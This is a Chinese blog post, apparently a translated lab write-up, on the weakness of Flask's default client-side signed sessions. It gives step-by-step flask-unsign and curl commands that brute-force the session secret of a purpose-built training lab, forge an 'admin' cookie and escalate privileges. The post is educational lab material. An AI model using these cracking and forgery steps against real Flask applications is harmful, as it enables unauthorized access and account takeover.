Flask会话安全与密钥破解实战

本文详细介绍了Python Flask默认会话管理机制的安全风险,通过Cracked Flask实验演示如何利用Flask Unsign工具破解HMAC密钥,实现会话数据篡改和权限提升的全过程。

Cracked Flask Lab

与我的所有实验一样,这个实验始于一次测试。该应用使用Python Flask编写,并采用了其默认的会话管理器。

该会话管理器将所有会话信息存储在客户端,因此不仅可以看到存储了关于您的哪些信息,还存在修改它的可能性——唯一的小问题是它受到HMAC的保护。

令牌的格式类似于JWT,但顺序如下:

base64(JSON会话数据) . 编码时间戳 . HMAC

以下是一个示例:

1
eyJoZWxsbyI6IndvcmxkMiIsInVzZXJuYW1lIjoiYWRtaW4ifQ.YbDIxQ.lvkY_D2TEqYp17FdMdgDLOaQNaA

此处的会话数据解码为:

1
2
3
4
{
  "hello": "world",
  "username": "robin"
}

生成HMAC需要一个密钥。如果您能够恢复或破解该密钥,就可以对会话信息进行任意修改。在我测试的应用中,这将允许我将权限从普通用户提升为管理员。

为了避免对客户站点进行大量测试来了解这一切的工作原理,更重要的是如何破解密钥,我构建了Cracked Flask实验。

该实验非常简单:当您首次查看页面时,它会设置一个包含上述相同信息的会话cookie。要将您的权限提升为管理员,只需将用户名更改为"admin"。

市面上有不少工具可以帮助完成这个挑战,但我最终选择的是Flask Unsign。它非常易于使用,并且能够非常快速地进行暴力破解密钥。

我包含了如何使用Flask Unsign破解实验密钥然后更新它的详细步骤,但请先尝试自己解决。

访问Cracked Flask Lab或查看GitHub仓库

操作步骤

  1. 获取cookie并查看其内容:
1
flask-unsign --decode --server https://crackedflask.digi.ninja/user
  1. 尝试破解:
1
flask-unsign --unsign --server https://crackedflask.digi.ninja/user
  1. 破解成功并获得密钥"monkey",现在创建一个包含用户名admin而不是robin的新cookie:
1
flask-unsign --sign --secret monkey --cookie "{'hello': 'world2', 'username': 'admin'}"
  1. 最后,使用新cookie发出请求:
1
curl --cookie "session=eyJoZWxsbyI6IndvcmxkMiIsInVzZXJuYW1lIjoiYWRtaW4ifQ.YbCXpA.45th8HQUFJO6GHycU_fMkPQ31qc" https://crackedflask.digi.ninja/user

如果您想合并最后两个命令:

1
2
COOKIE=`flask-unsign --sign --secret monkey --cookie "{'hello': 'world2', 'username': 'admin'}"`
curl --cookie "session=$COOKIE" https://crackedflask.digi.ninja/user

或者您可以将签名命令直接放入curl命令中使用反引号。如果尝试此方法,请注意引号:

1
curl --cookie "session=`flask-unsign --sign --secret monkey --cookie \"{'hello': 'world2', 'username': 'admin'}\"`" https://crackedflask.digi.ninja/user

如果您只想观看实际操作,这里有一个这些步骤的录制视频

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计